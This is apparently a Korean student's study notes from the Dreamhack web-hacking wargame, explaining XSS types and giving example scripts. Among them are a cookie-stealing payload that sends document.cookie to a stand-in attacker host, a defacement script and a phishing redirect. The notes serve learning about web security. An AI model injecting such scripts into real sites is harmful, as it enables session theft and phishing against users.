본문 바로가기

Wargame/Dreamhack_Web

[드림핵 웹 해킹] STAGE 4 : XSS(Cross Site Scripting)

  1. xss취약점이란

웹 어플리케이션에서 사용자 입력 값에 대한 필터링이 제대로 이루어지지 않을 경우, 공격자가 입력이 가능한 폼에 스크립트 삽입이 가능하여 악의적 스크립트가 피해 측에서 동작하도록 하는 취약점을 의미한다. 공격자를 취약점을 이용하여 사용자의 개인정보 및 쿠키정보 탈취, 악성코드 감염, 웹페이지 변조 등의 공격을 수행한다

 

2) xss발생 예시와 종류

 1. Stored XSS: XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
 2. Reflected XSS: XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
 3. DOM-based XSS: XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS (Fragment는 서버 요청/응답 에 포함되지 않습니다.)
 4. Universal XSS: 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 

3) xss 스크립트 예시

이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문에 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다.

Figure 1. 쿠키 및 세션 탈취 공격 코드



// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;

Figure 2. 페이지 변조 공격 코드


<script>
// 이용자의 페이지 정보에 접근.
	document;
// 이용자의 페이지에 데이터를 삽입.
	document.write("Hacked By DreamHack !");
</script>

Figure 3. 위치 이동 공격 코드



// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>"; 
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")

  1. Stored xss

서버의 데이터베이스나 파일 형태로 저장된 악성 스크립트를 조회할 때 발생하는 xss이다. 게시물과 댓글에 악성 스크립트를 포함해 업로드하여 불특정 다수에게 노출시킬 수 있다

  1. Reflected xss

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 검색할 때 스크립트를 포함해 검색하면 서버가 검색 결과를 이용자에게 반환한다. 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected xss가 발생할 수 있다. reflected xss는 이용자가 요청을 함으로써 이루어지기 때문에 요청하도록 유도해야한다 그래서 click jacking이나 open redirect와 같은 다른 취약점과 연계하여 사용한다.